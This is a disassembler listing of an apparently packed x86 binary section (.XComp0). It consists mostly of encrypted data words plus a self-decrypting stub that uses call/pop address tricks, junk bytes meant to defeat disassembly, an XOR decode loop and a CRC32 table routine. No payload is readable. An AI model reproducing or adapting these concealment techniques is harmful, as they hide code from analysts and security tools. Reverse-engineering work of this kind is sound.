		dd 5A7F7841h, 6E7C8BABh, 729137C0h, 6988AE7Bh, 0B5528A85h
		dd 0D165A24Ah, 0C01EBD22h, 288F4A4Bh, 578D44C5h, 8B31CEB9h
		dd 5B7F6E80h, 0B98029ACh, 9685DF9Ah, 389F5C29h,	0A8817495h
		dd 88876786h, 4EBB2205h, 6C7A6047h, 6D5DD2D4h, 0C7CE0321h
		dd 6D80601h, 6BA85106h,	29962212h, 7D7C928Fh, 986F5B51h
		dd 0B15C8164h, 0FCC28488h, 0AC02231Fh, 56B489F5h, 658940C9h
		dd 9842BD7Ch, 9FAF6A6Bh, 83676A50h, 0B83B1184h,	6079D7C4h
		dd 0F2E32EE3h, 0D3B39F66h, 4D2F59E9h, 3495F7DDh, 14996C4Dh
		dd 0F56B6F45h, 0D51762F1h, 0E7942995h, 0BF100C22h, 0F2000000h
		dd 95E873CEh, 12299685h, 0CAF20115h, 1E3D043Dh,	2996855Bh
		dd 0E20B2BD8h, 0CA3BA017h, 0E023C524h, 2A530039h, 0A7299685h
		dd 8530490Ah, 0F0AD2996h, 0E71CBE39h, 0CA2333E6h, 0DF3E9653h
		dd 21ACAE6Ch, 0D5010016h, 0ED14F3D7h, 0AE1FECD2h, 38E15BFBh
		dd 4BEB1ABFh, 0C6C740ACh, 0D52E9C23h, 6E509E0h,	2BAD20E5h
		dd 0C43FA916h, 7F618D1h, 0C881EBDBh, 79264D2Fh,	0F9000000h
		dd 0E76A1340h, 3AE72995h, 31CE1E14h, 1AD97D88h,	55AC55B2h
		dd 9685B3C6h, 0E3733029h, 4BBE1D0Ah, 46C12996h,	6B749A4Fh
		dd 0C32B94ADh, 7E90494Ch, 7159537Fh, 70C96E96h,	96859AE3h
		dd 6D6A1729h, 6633BA4Dh, 46CE6AD0h, 0C8159048h,	0EFFE10AAh
		dd 1E9940CFh, 56B718BFh, 0E1727B9Bh, 29958B95h,	8F77633Ah
		dd 4D2FA7DDh, 58AD0EA9h, 66AB6h, 4AB50000h, 6CD264A1h
		dd 30A55E8Ch, 6667A647h, 3DB05B81h, 9A44933Ah, 0C735B871h
		dd 66FCA2B0h, 535AF3D9h, 618267A5h, 9642C7B2h, 92574429h
		dd 9D517D7Ch, 0DD14A237h, 24CA669Eh, 3CE023C5h,	0C3509A0Ch
		dd 299657BAh, 5A7F4A37h, 56B7189Fh, 0B00D8A5Fh,	9896B95Dh
		dd 0AB2F8F79h, 20E922CCh, 0C6F30CADh, 7B9B4E3Fh, 0CF9D537Ch
		dd 9EE2FCE4h, 9158B51Ah, 9C41A458h, 0AB44C871h,	0CF3AA1BBh
		dd 8F4B99FDh, 9ADD667Fh, 14239D4Bh, 857263ACh, 0A931A467h
		dd 4EAA7462h, 91832B37h, 620439E7h, 7B7A9C3Bh, 0A089BB52h
		dd 5D70542Ch, 0BE50AB18h, 6C4D8E2Fh, 0DB4A2E7Ch, 0AF7AE2F2h
		dd 46746B3Eh, 47CD74BDh, 11395F1Eh, 17C9764h, 7E239D74h
		dd 3DA64881h, 0C178953Ah, 5692194Bh, 6199769Ch,	0D59F5A7Bh
		dd 0F7F006CBh, 925C8A5Dh, 96D1AC67h, 514E239Ch,	4A912EBDh
		dd 7CA069A6h, 0D6B2F973h, 8C32CD48h, 0C8B36F7Fh, 95000001h
		dd 83169FFh, 324B0831h,	0AF299685h, 9DE95CF2h, 2F8F91h
		dd 0F7AE1EE6h, 1ECCDE16h, 0F039F0E5h, 0AF5B439h, 0E31224E1h
		dd 6F113FAh, 3BC8F2E9h,	0A32ADFBAh, 35D0F906h, 0CCEEE9C0h
		dd 53E3B637h, 27D23BA4h, 38DE2F90h, 45235AFh, 0C6288F6Ah
		dd 0FEC3B645h, 4340239Ch, 729B44B3h, 0AE3645C7h, 38738025h
		dd 19D31C16h, 0DE48D65Fh, 90h, 0D2379621h, 31CEF63Ch, 0F36F7F8Ah
		dd 53003969h, 0A996850Ah, 0DA1FDAC7h, 870E01DDh, 853841D2h
		dd 63F0A996h, 0A996851Ah, 7F4EA97h, 2455FEE7h, 9AA99685h
		dd 0D2D5D835h, 8E991CE9h, 3D6D72Ch, 0DA84D2BDh,	0C8578372h
		dd 0DED90052h, 0D0890C01h, 0C448F13Eh, 0F2AF57B2h, 1134DAB7h
		dd 29967848h, 1F5AF940h, 9C299678h, 33FE11ADh, 0F62EDB23h
		dd 522BE811h, 0C8299678h, 401E526h, 0D501F2h, 1380000h
		dd 2734D9F6h, 29967856h, 0FA40D6D3h, 7E8931CEh,	0C01A8CD8h
		dd 9E19E019h, 13C6C73Ch, 96857508h, 2135F229h, 8F86542Eh
		dd 0CBC2BF2Fh, 0D20A03ECh, 5243CAF3h, 6CF125A7h, 209FAAAAh
		dd 703D3B0Eh, 0D9DE239Dh, 443EBBF3h, 1539123Dh,	0DE36F8E6h
		dd 0C4D7026Eh, 6F7E9025h, 0D82B8D4Eh, 0E97FEB11h, 46B188B1h
		dd 867164A9h, 0C96DA469h, 9E5D9386h, 2ED3D029h,	0EAD2A91h
		dd 0EABF36FBh, 0E1DE9B44h, 47D40DF8h, 1D9C0E36h, 9160F6B3h
		dd 0FA09AF2Ch, 36EB26F3h, 52E41FC9h, 0CC1AF199h, 6EADC553h
		dd 1D9C0F0Bh, 0AB569B88h, 575EA714h, 7ABF6C82h,	779838BFh
		dd 9C0EA1DCh, 8B611E1Dh, 15B1B846h, 0C88BABA2h,	239CB955h
		dd 2FCF7892h, 6383672Ah, 0FF9876AEh, 0FBDCFF69h, 0E6B33AD1h
		dd 3AEFAA2Bh, 0ACC954FFh, 0CB412F97h, 0A5630114h, 678F9F0Eh
		dd 2EF089CAh, 8A662395h, 65591085h, 2FC871B8h, 766F7F8Eh
		dd 0ACCD8EB3h, 2923952Eh, 189B987Ch, 7F905316h,	0AE5F806Fh
		dd 0AF6E4F76h, 9560D9A4h, 60A95623h, 27B853B9h,	0B21D4A87h
		dd 19A6439Ch, 8FC254AFh, 8C23063Bh, 5F56B517h, 22937458h
		dd 3E034F36h, 5757EB2Eh, 4134FDEEh, 69561846h, 0A26B5481h
		dd 42B37E2Bh, 0C728C767h, 96379E46h, 0DC77C277h, 0BB06DEA1h
		dd 97E2711Eh, 14BB06DEh, 538CA267h, 806C6754h, 35974287h
		dd 0BAA2AAD9h, 0F5EE00CEh, 6A8B655h, 0B33AD5F9h, 34CFF9E6h
		dd 23EAD322h, 14F9D601h, 20EDD2EDh, 915AFCADh, 1AE9CFE8h
		dd 0BF30C693h, 8, 0C5320F01h, 0E74DE124h, 29AC658Ch, 696CA13Eh
		dd 23AA5F7Eh, 7C719A44h, 35B84F7Bh, 787D8A32h, 3ABB4A6Fh
		dd 75788B2Dh, 0CCC14E72h, 72AB681Bh, 14890000h,	0E6895624h
		dd 4C681h, 0EE830000h, 24348704h, 241C895Ch, 61A668h, 24148900h
		dd 4CF6852h, 575A1C61h,	5FDD01BFh, 5FFA2916h, 685AD389h
		dd 0D7h, 81242489h, 42404h, 815A0000h, 4ECh, 241C8900h
		dd 8B08428Fh, 89522414h, 4C281E2h, 81000000h, 4C2h, 24148700h
		dd 241C8B5Ch, 81E38953h, 4C3h, 4C38300h, 5C241C87h, 0F84F99E9h
		dd 0E6E65FFFh, 8ABBF8CFh, 0B4037BE6h, 2EF4B8DAh, 0C5030601h
		dd 0A047E0FFh, 0CD6325AEh, 0C7454547h, 45AD28EAh, 0D8F87FE0h
		dd 0A88919C3h, 1B2F6AA8h, 5634589h, 6FED1FA8h, 0AE4E3D30h
		dd 5C3F2A23h, 0E98493Ch, 25240E2Dh, 85A0176Fh, 9D844B24h
		dd 52172996h
		dd 0F1EF5155h, 913747CBh, 1A64356Fh, 0DC396FEEh, 0B8FC2276h
		dd 0CAFE5826h, 0A80F44B0h, 8A4BCD37h, 0A80F45FFh, 75EAD5ABh
		dd 0A80F4A57h, 8A4BC23Dh, 57AE5DBAh, 8A4BC2EAh,	0A80F4B47h
		dd 75EAD5ABh, 0A80F4B0Eh, 8A4BC3D8h, 0A80F4B88h, 8A4BC05Ah
		dd 0A80F4802h, 75EAD5ABh, 0A0D42F25h, 3132B65h,	0A97E7DC0h
		dd 0FC90A752h, 2157A374h, 8B3AC9D1h, 65D42F43h,	3132B65h
		dd 0A97E45C0h, 0AF90A752h, 2157A377h, 8B3AC5D1h, 0D4D42F43h
		dd 3132B66h, 0A97E51C0h, 5B90A752h, 2157A377h, 8B3AD1D1h
		dd 0BDD42F43h, 3132B67h, 0A97E5DC0h, 0D490A752h, 2157A376h
		dd 8B252DD1h, 37D42F43h, 3132B67h, 0A961A9C0h, 6A90A752h
		dd 2157A376h, 8B2525D1h, 89D42F43h, 3132B60h, 0A961B1C0h
		dd 0D090A752h, 2157A371h, 8B253DD1h, 12B8C343h,	0DF152A50h
		dd 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 0BAD7C0D5h, 0ED96A444h
		dd 8A152AA8h, 0A0242945h, 0B496E367h, 0A1D5ADBAh, 0CB152A54h
		dd 415564C6h, 75EAD5BAh, 3AAE63CEh, 8FEC0A75h, 0AB534284h
		dd 0FFEA2211h, 0A4245D55h, 0CF9C3AABh, 0EDDAC3B9h, 86D7E3A8h
		dd 44DAF745h, 0EAE9EED7h, 2359D7CEh, 0CFD22629h, 0A851A2B9h
		dd 62AD6C54h, 351A241h,	27BFEA66h, 76DB2FEEh, 75132B76h
		dd 2011294h, 0A8CBA0D9h, 79AEA444h, 0AE51A1ECh,	22DC0941h
		dd 8C14088Ah, 103773BAh, 21732ADFh, 8A8F28C8h, 5BEA2C55h
		dd 8C152BFDh, 988150h, 0AE50809Bh, 0D2A5FBABh, 0A42C89EFh
		dd 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh, 8AFD4AA8h
		dd 0F251A245h, 0BB97C0D5h, 0DDDAA444h, 8668A15Ch, 0A8ADE782h
		dd 0CC152A54h, 881430BAh, 529E2FADh, 83FC69CEh,	0E2A5B997h
		dd 0F9FA31EFh, 0A8CBA0D9h, 79AEA444h, 20949A0Dh, 8C551A23h
		dd 21848132h, 215DDF6Eh, 174D629h, 6A985E00h, 1402A5Ch
		dd 549521A9h, 8A15C234h, 290BA245h, 8B24F3BEh, 0A0242943h
		dd 4D1957DFh, 0A8515E00h, 75532A54h, 5171E7D7h,	19CDA151h
		dd 9BFC69CEh, 0E2A5B997h, 0F9FA31EFh, 0A8CBA0D9h, 79AEA444h
		dd 20949A0Dh, 8C651A23h, 21848132h, 215DDF6Eh, 174D629h
		dd 6A985E00h, 1402A5Ch,	549521A9h, 8260A134h, 6F5DDFCEh
		dd 8A15D611h, 3BFDA245h, 0B91DC995h, 4919197h, 4A38F2DEh
		dd 2851A245h, 0E1AD5A8h, 0A851A25Eh, 8A1523EDh,	2DA05545h
		dd 86902586h, 2851A245h, 4B7332A3h, 2337AA8Eh, 0A1BE4C97h
		dd 0D5D8AE38h, 0CF9E4BA8h, 0A0936BB9h, 669E7F54h, 0C8AD66C6h
		dd 11D5FDFh, 0ED96AE38h, 8A152AA8h, 69C20E45h, 582622B7h
		dd 22FD6276h, 8AD5078Ch, 54D1A245h, 939125ABh, 1151A245h
		dd 8A152A5Dh, 7AD453B2h, 8A1FAF5Bh, 10E0A245h, 4B93E256h
		dd 39191EFh, 319577Fh, 23305E38h, 48DCD611h, 2304A24Dh
		dd 76D1A9B8h, 0A0242925h, 4D1957DFh, 0A8515E00h, 0B92A54h
		dd 0A7B2229Dh, 85E1D4h,	22DC0886h, 8C14088Ah, 0F8E173BAh
		dd 549FA7FEh, 5757A367h, 20D6A085h, 215DDF6Eh, 174D629h
		dd 6A985E00h, 1402A5Ch,	549521A9h, 8260A134h, 6F5DDFCEh
		dd 8A15D611h, 0AFE9A245h, 75152A54h, 517183D7h,	20452651h
		dd 8A8F28C8h, 5BEA2C55h, 9BFB2BF5h, 85318694h, 0AC59622Eh
		dd 0AEA58050h, 0A42C89EFh, 0EBE957DDh, 61ADE7CEh, 0DF152296h
		dd 6CD24ECEh, 0FF9E4AA8h, 0A42C294Dh, 8AE96F93h, 451A245h
		dd 0CF87D5FEh, 23545B65h, 4917868Ch, 76DB2FEFh,	75132B76h
		dd 28E9C494h, 0BE4CBDh,	0D57A0886h, 7668A358h, 54142924h
		dd 8A1DE89Dh, 2BBD2910h, 175D690h, 0D5DAAA30h, 7650ED58h
		dd 0A851A245h, 18EA80F8h, 0ADA88200h, 58B9E2DFh, 32DC0885h
		dd 8C14088Ah, 103771BAh, 2173E394h, 83FB63CFh, 0F79C2629h
		dd 0EDDAC3B9h, 82D7E3A8h, 44DAF745h, 0EAE9EED7h, 2359D7CEh
		dd 0CFD22629h, 0A851A2B9h, 75BF8654h, 5171E7D7h, 26DDA151h
		dd 25FB6377h, 8B37F4CEh, 0CE825D43h, 0ECE4AAECh, 29028EEh
		dd 319577Fh, 23305E38h,	48DCD611h, 2304A24Dh, 76D1A9B8h
		dd 0A0242925h, 4D1957DFh, 0A8515E00h, 32732A54h, 3376B77h
		dd 0A8CBB0D9h, 7BAEA444h, 4B959232h, 4FD0923h, 866801FEh
		dd 0C9ADDFCCh, 43E96FDFh, 0FD51AA87h, 4E96C6DFh, 0DDDAC2B9h
		dd 8668A15Ch, 0A8ADE782h, 0EC152A54h, 0CEB824FDh, 548FA7FFh
		dd 5757A367h, 20A09A87h, 25FB0E03h, 8B37F4CEh, 0CE825D43h
		dd 0ECD8ACECh, 0A42C89EEh, 0EBE957DDh, 61ADE7CEh, 0DF152296h
		dd 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 0BEBFC0D5h, 0ED96A444h
		dd 8A152AA8h, 0A0242945h, 261957DFh, 2C5E9179h,	8A152A1Eh
		dd 2C5E8979h, 8A152A16h, 2C5ECA79h, 8A152A49h, 2C5E1379h
		dd 8A152A38h, 2A5EF279h, 8A152A5Ch, 2A5EFA79h, 8A152A6Bh
		dd 0A851D6ACh, 8660D554h, 2559D7BAh, 8B3AF5CEh,	32DCF143h
		dd 8C141AE2h, 0EDD871BAh, 8A42C3A8h, 0DDAEA245h, 8260D558h
		dd 87BE38C8h, 7462C55h,	0A96114DFh, 3C6D552h, 92B85E00h
		dd 75152A54h, 0DDAEAE30h, 718FA75Ch, 0FB57A36Ah, 0BAA3B0D9h
		dd 7BAEA444h, 63E96FDDh, 0A851A258h, 75195FABh,	32DCAA30h
		dd 8C141A53h, 1ECB2F16h, 75132B64h, 54142B96h, 8A152ABDh
		dd 0EDDAC345h, 82D7E3A8h, 3044BA45h, 8D8D0000h,	6013634h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0E4C35040h
		dd 0A8B22DB9h, 0DE907h,	9E730000h, 1BF1A4C6h, 208144D3h
		dd 8958EBA9h, 0F90CDD8Dh, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 4103F6C8h
		dd 845AEB81h, 1CB43EBAh, 26C185C7h, 6FE805F9h, 0BD8B0000h
		dd 5F933E5h, 0FD85C7h, 5F9h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 315DADC3h
		dd 51ECA2B8h, 1771B5FFh, 0C08005F9h, 0D595FF66h, 5205F920h
		dd 0FFD88166h, 6A5AF5h,	1AED95FFh, 0C08B05F9h, 0F5BF78EBh
		dd 0F651A705h, 0E742FEEAh, 50E7FF7Dh, 0D97430A0h, 532A43A2h
		dd 0B6C2D9D4h, 0FE5EA07Eh, 0A62ED66Eh, 852B41B8h, 4395080Eh
		dd 1B2A3B87h, 8C92392h,	0ACD8CF46h, 1E2FCEBCh, 0E902B114h
		dd 55FA455Eh, 0B167FD15h, 75D18293h, 0A7020FB6h, 0B1D83A94h
		dd 0A537E61Eh, 32D9246Fh, 17C12D8Eh, 6D4AA1A2h,	0FDE2CA1Eh
		dd 0CEB1289Eh, 0E64FB2CAh, 0C10376D6h, 0AFC6F8Dh, 2AE9C9C2h
		dd 0C7000000h, 2404h, 0E80000h,	5D000000h, 36C2ED81h, 448B0601h
		dd 85890424h, 5F90781h,	0B8h, 0E88D8D00h, 0FF05F94Eh, 6754B8E1h
		dd 9D8D0000h, 5F927E9h,	1CA0B8h, 39858900h, 0E805F920h
		dd 0
; ---------------------------------------------------------------------------
		pop	eax
		add	eax, 0Dh
		mov	[ebx], eax
		jmp	loc_5F0995
; ---------------------------------------------------------------------------
		align 4
		dd 727h	dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5F0995:				; CODE XREF: .XComp0:005EECF0j
		call	near ptr loc_5F099E+2
		shl	byte ptr [edi+5Ah], 3Ch


loc_5F099E:				; CODE XREF: .XComp0:loc_5F0995p
		or	eax, 0F947BB0Bh
		cmp	al, 1Bh
		pop	ecx
		mov	ah, 53h
		add	ecx, 709Bh
		mov	ebx, 702B7B71h
		push	0
		sub	bh, 0ECh
		pop	esi
		or	eax, 61B22251h
; START	OF FUNCTION CHUNK FOR sub_5F0A46


loc_5F09C2:				; CODE XREF: sub_5F0A46+3Aj
		mov	edx, [ecx+esi]
		or	eax, 0E142214h
		add	edx, 5C7E861h
		jmp	loc_5F09E9
; END OF FUNCTION CHUNK	FOR sub_5F0A46
; ---------------------------------------------------------------------------
		dw 6091h
		dd 76675CC0h, 1C3EA262h, 520168FDh, 0A886A21Ah
; ---------------------------------------------------------------------------
		wait
; START	OF FUNCTION CHUNK FOR sub_5F0A46


loc_5F09E9:				; CODE XREF: sub_5F0A46-75j
		xor	edx, 1229B27h
		push	ecx
		jmp	loc_5F0A07
; END OF FUNCTION CHUNK	FOR sub_5F0A46
; ---------------------------------------------------------------------------
		db 41h,	0B6h, 0F3h
		dd 8F934CE2h, 0A557D236h, 0A6F2134Fh
		db 0F4h, 0F6h, 97h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F0A46


loc_5F0A07:				; CODE XREF: sub_5F0A46-56j
		pop	ebx
		xor	edx, 62D2125Ch
		call	sub_5F0A1E
; END OF FUNCTION CHUNK	FOR sub_5F0A46
; ---------------------------------------------------------------------------
		db 8Ch
		dd 7195463Eh, 6649C8C8h
		db 0CAh, 0DAh

; =============== S U B	R O U T	I N E =======================================



sub_5F0A1E	proc near		; CODE XREF: sub_5F0A46-38p
		jg	loc_5F0A34
		jmp	loc_5F0A34
; ---------------------------------------------------------------------------
		db 0A9h, 11h, 1Fh
		dd 0F18D271h, 0A957F6B4h
; ---------------------------------------------------------------------------


loc_5F0A34:				; CODE XREF: sub_5F0A1Ej sub_5F0A1E+6j
		pop	eax
		push	edx
		call	sub_5F0A46
		std
		pop	edx
		pop	edx
		mov	cl, 68h
		movsd
		mov	edx, 51DB39DDh
sub_5F0A1E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5F0A46	proc near		; CODE XREF: sub_5F0A1E+18p

; FUNCTION CHUNK AT 005F09C2 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005F09E9 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005F0A07 SIZE 0000000C BYTES

		pop	ebx
		pop	dword ptr [ecx+esi]
		jmp	loc_5F0A5E
; ---------------------------------------------------------------------------
		db 41h
		dd 32AEBD35h, 3E159C7Dh, 0DAEB63ADh
; ---------------------------------------------------------------------------
		mov	bh, 36h


loc_5F0A5E:				; CODE XREF: sub_5F0A46+4j
		mov	edi, esi
		sub	esi, 3
		jmp	loc_5F0A73
; ---------------------------------------------------------------------------
		dd 9B3AA941h, 4595F2F0h
		db 0EFh, 0B5h, 0CDh
; ---------------------------------------------------------------------------


loc_5F0A73:				; CODE XREF: sub_5F0A46+1Dj
		dec	esi
		xor	ebx, 2AFC3E48h
		cmp	esi, 0FFFF9054h
		jnz	loc_5F09C2
		push	ecx
		sbb	ax, 0E52Ch
		pop	edi
		jmp	loc_5F0ACD
; ---------------------------------------------------------------------------
		pusha
		mov	edi, [ebp+5F908F5h]
		sub	edi, 4
		xor	ecx, ecx


loc_5F0A9E:				; CODE XREF: sub_5F0A46+7Fj
		mov	eax, ecx
		mov	ebx, 0EDB88320h
		add	edi, 4
		mov	esi, 8


loc_5F0AAD:				; CODE XREF: sub_5F0A46+70j
		shr	eax, 1
		sbb	edx, edx
		and	edx, ebx
		xor	eax, edx
		dec	esi
		jnz	loc_5F0AAD
		inc	ecx
		mov	[edi], eax
		cmp	ecx, 100h
		jb	loc_5F0A9E
		popa
		retn
; ---------------------------------------------------------------------------


loc_5F0ACD:				; CODE XREF: sub_5F0A46+47j
		mov	ecx, eax
		call	sub_5F0AE3
		adc	ebp, [edi-444E6046h]
		fnsave	byte ptr [eax]
		stosd
		sub	[esi+ebx*8], dh
		clc
		and	dh, al
sub_5F0A46	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5F0AE3	proc near		; CODE XREF: sub_5F0A46+89p
		movzx	esi, si
		pop	ebx
		add	ebx, 5F2Dh
		jns	loc_5F0AFA
		push	ecx
		sub	di, 0DCD2h
		pop	eax


loc_5F0AFA:				; CODE XREF: sub_5F0AE3+Aj
		mov	edx, 405893B8h
		add	edx, 0BFA783F2h
		mov	ax, bx


loc_5F0B08:				; CODE XREF: sub_5F0AE3+66j
		push	dword ptr [ebx]
		cld
		pop	ecx
		movzx	edi, ax
		xor	ecx, 578E5B7Dh
		mov	si, dx
		xor	ecx, 3B9BA737h
		adc	esi, 89A6DC6h
		sub	ecx, 45AE9CE2h
		or	si, 0D28Ch
		mov	[ebx], ecx
		pusha
		mov	dx, 0AF65h
		movsx	edx, si
		popa
		sub	ebx, 4
		push	esi
		mov	ax, 182h
		pop	eax
		sub	edx, 1
		jnz	loc_5F0B08
		jmp	loc_5F0B5D
; ---------------------------------------------------------------------------
		dd 29C8A86Dh, 122F4F2h
		db 44h
; ---------------------------------------------------------------------------


loc_5F0B5D:				; CODE XREF: sub_5F0AE3+6Cj
		lea	ecx, [ebp+601561Ch]
		mov	esi, [ebp+5F91B15h]
		mov	[ebp+5F90CDDh],	ecx
		push	0
		push	ecx
		call	sub_5F0B7A
		and	[ecx-3Dh], bl
sub_5F0AE3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5F0B7A	proc near		; CODE XREF: sub_5F0AE3+8Fp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5F0B7A	endp

; ---------------------------------------------------------------------------
		dw 93BEh
; ---------------------------------------------------------------------------
		adc	dword ptr [ebp-34501EEh], 26C185C7h
		stc
		add	eax, 5F0Ch
		push	0
		push	edi
		call	sub_5F0BA7
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F0BA7	proc near		; CODE XREF: .XComp0:005F0B9Fp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_5F0BA7	endp

; ---------------------------------------------------------------------------
		fbstp	tbyte ptr [esi+ebp*2-42h]
		sbb	al, 6Bh
		mov	bl, 21h
		mov	dword ptr [ebp+5F900FDh], 0
		mov	edi, [ebp+5F90A39h]
		push	dword ptr [ebp+5F91FA1h]
		push	0
		push	ecx
		call	sub_5F0BE0
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F0BE0	proc near		; CODE XREF: .XComp0:005F0BD8p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5F0BE0	endp

; ---------------------------------------------------------------------------
		dd 0F6A7C10h, 95FFF2BFh, 5F920D5h, 32D5BD8Bh, 6A05F9h
		dd 1AED95FFh, 0C08B05F9h, 0C00A18EBh, 0F5BFC366h, 0F651A705h
		dd 0E742FEEAh, 50E7FF7Dh, 0D97430A0h, 8EE943A2h, 6800006Ah
		dd 601C048h, 0F828C5E9h, 749D44FFh, 46C925D0h, 7291379Eh
		dd 47BE2BCAh, 7D8A3295h, 87346DC7h, 5580A463h, 85709477h
		dd 5681A366h, 82709479h, 2FD3A6B5h, 9B502395h, 0B71D24DDh
		dd 89B099C7h, 4F0C3583h, 2996332Eh, 0E258FEABh,	7D8831CEh
		dd 0DEB48478h, 361B9A2Dh, 319C5BFBh, 0B7A648A6h, 843AE69Dh
		dd 0E000C900h, 9B40B782h, 0CE6EC46Ah, 787D8831h, 0A2DB78A1h
		dd 1F299685h, 0BE1DCC62h, 9079645Bh, 0A7AA4C1Dh, 299685D3h
		dd 19D8C56h, 1A9C744Ch,	308D2ACFh, 0CE0339DDh, 797C8731h
		dd 2FD18EA0h, 8C4E7FF1h, 4324A962h, 9A7E6F96h, 64856773h
		dd 91AF68A1h, 8F8A31CEh, 9685F984h, 40897629h, 8B7A9C4Dh
		dd 618C965Fh, 9685A4D2h, 0C67A2729h, 95E873CEh,	4D299685h
		dd 96856B0Eh, 0CB3BE829h, 0CF7E1DEh, 0D7E059EAh, 0C39617F6h
		dd 31CE0D33h, 7D6C828Dh, 85A1D55Eh, 77242996h, 8546CEC9h
		dd 0ACB5D003h, 80203DD1h, 0A6D4638Ch, 29299685h, 85AECF8Ch
		dd 7E2B2996h, 0A8B38EB3h, 299685D5h, 7BC15552h,	5F8C4AFEh
		dd 0A4482FA6h, 206B3546h, 1FEA1EF4h, 0F1DD2CAEh, 0C33CD92Dh
		dd 0EB1CC019h, 0CE2A1026h, 777E8931h, 85105685h, 0DE13FCEDh
		dd 0D89DC938h, 0A4D2618Ch, 62299685h, 7D917455h, 27B9875h
		dd 7F299686h, 0DA994782h, 9778585Fh, 5EA91116h,	48C12C93h
		dd 0BC829445h, 0CDF46CEh, 1DE1057Eh, 46D3FAF9h,	1F40FB9h
		dd 0F1720B28h, 32EF2995h, 17B542F7h, 0ACDC62F4h, 49C62A95h
		dd 648C8FA5h, 638976ABh, 0E27425A8h, 2A95AC5Ch,	91A747C4h
		dd 13A42811h, 794C8E4Bh, 0CE9AA0B6h, 0CE8D8831h, 299685ABh
		dd 0A0B67B28h, 3EB97561h, 0B465689Dh, 31CE9CA2h, 0A0797C87h
		dd 8D7C5F8Eh, 867D6B54h, 88D23D0Fh, 7FDE29C1h, 258EA44Ah
		dd 0D138A31Ch, 73CEF73Dh, 968595E8h, 29E00B29h,	1411F5A4h
		dd 41C8F302h, 0A0B13498h, 2E6A33D0h, 0B51C9C91h, 14F83111h
		dd 1A0EA2B3h, 0D85EF011h, 60D143FEh, 0ACC50BEAh, 0F179BF4Fh
		dd 0F47D4F77h, 27E40A96h, 0E521F3A6h, 0E823C999h, 0FB270D21h
		dd 0F21DC13Eh, 32082EFBh, 8CA74E9Ch, 0D281B861h, 299685A7h
		dd 0A1DC7724h, 1E299685h, 0DA78A861h, 9475585Fh, 3A462B21h
		dd 473A0171h, 0CEC66C82h, 7B30A173h, 50DFA49Bh,	958FBAC3h
		dd 0A44A3729h, 8831A645h, 66679E4Bh, 8EB37EB3h,	0B7741E86h
		dd 0CE609A34h, 4F68D168h, 0A88EA06Fh, 5778638Ch, 0CECD7BB6h
		dd 8595E873h, 0E4D2996h, 2996856Bh, 0DECB3BE8h,	0CE11AF38h
		dd 0D12EA173h, 1688DA9Dh, 96397405h, 3317F129h,	0CE878CE6h
		dd 45A44A7Fh, 0FEC365A8h, 0B7608C4Ah, 9685E19Ch, 68A15E29h
		dd 64A946B1h, 0A096B871h, 0B3954AFEh, 17A04E9Ch, 876253B2h
		dd 638CD167h, 149D6FAAh, 0CE88BF1Bh, 0CE2C1224h, 8595E873h
		dd 15122996h, 8CE04001h, 0B6577863h, 8F39C67Bh,	86A88174h
		dd 8C4AFEB0h, 85A5D160h, 5C632996h, 45149972h, 8195725Ah
		dd 0AC558C79h, 96860E6Fh, 0E495C629h, 61299685h, 0B14542A4h
		dd 0E873CE8Bh, 29968595h, 83F62512h, 299685h, 3B28CE03h
		dd 0A9628C8Dh, 70974324h, 0EAF80F7Dh, 0BA45F234h, 0DA60F613h
		dd 2CA04E9Ch, 0AB1C2EBh, 0F9DB8EFFh, 37A0F378h,	61D77796h
		dd 828D31CEh, 7B607D6Ch, 6633BA51h, 66DA7DABh, 82A65F8Ch
		dd 638CBE82h, 0A9D47FBAh, 26299685h, 472D579h, 87299686h
		dd 4AFE669Ah, 0A7D3628Ch, 65299685h, 7797745Ah,	996A507Fh
		dd 340A4B33h, 37F22AACh, 611C3702h, 1929962Bh, 962B7FFAh
		dd 9FFFFC29h, 0CEE64CE2h, 777E8931h, 0A1DC77A2h, 1E299685h
		dd 0F090CD61h, 4E9C8DB3h, 0D4638CA7h, 299685A6h, 3AC57C29h
		dd 5BE17592h, 77585FDAh, 0DD573E96h, 17F77B36h,	31CE41F7h
		dd 0A0797C87h, 8E7D5F8Eh, 857E6C53h, 31CECB71h,	6F787D88h
		dd 0A309C04Fh, 0F5B3A0F4h, 709FAF55h, 468D2EC9h, 29AC65AAh
		dd 6A6BA03Eh, 5ED47AAFh, 0E68D638Ch, 0C1CF058Ch, 2540E029h
		dd 895F8C23h, 0DAB7BF1Ch, 0D907C23Dh, 638C6FD1h, 31CE76AAh
		dd 0A2777E89h, 3E96538Ch, 0A3D28CB3h, 0D92C8D02h, 2ACC05D4h
		dd 8C31CE14h, 0B95D0C81h, 43FECE9Fh, 96856518h,	1125E229h
		dd 0CEB58B2Bh, 0C818C31h, 1C4AB95Dh, 83866552h,	81B75712h
		dd 95E873CEh, 4D299685h, 96856B0Eh, 0CB3BE829h,	14B938DEh
		dd 11B740F9h, 82EFBF2h,	0DC46CE32h, 354C79AFh, 1F0832C4h
		dd 454039DAh, 0C0BD2996h, 0A015F4D7h, 0CE0F25C9h, 8595E873h
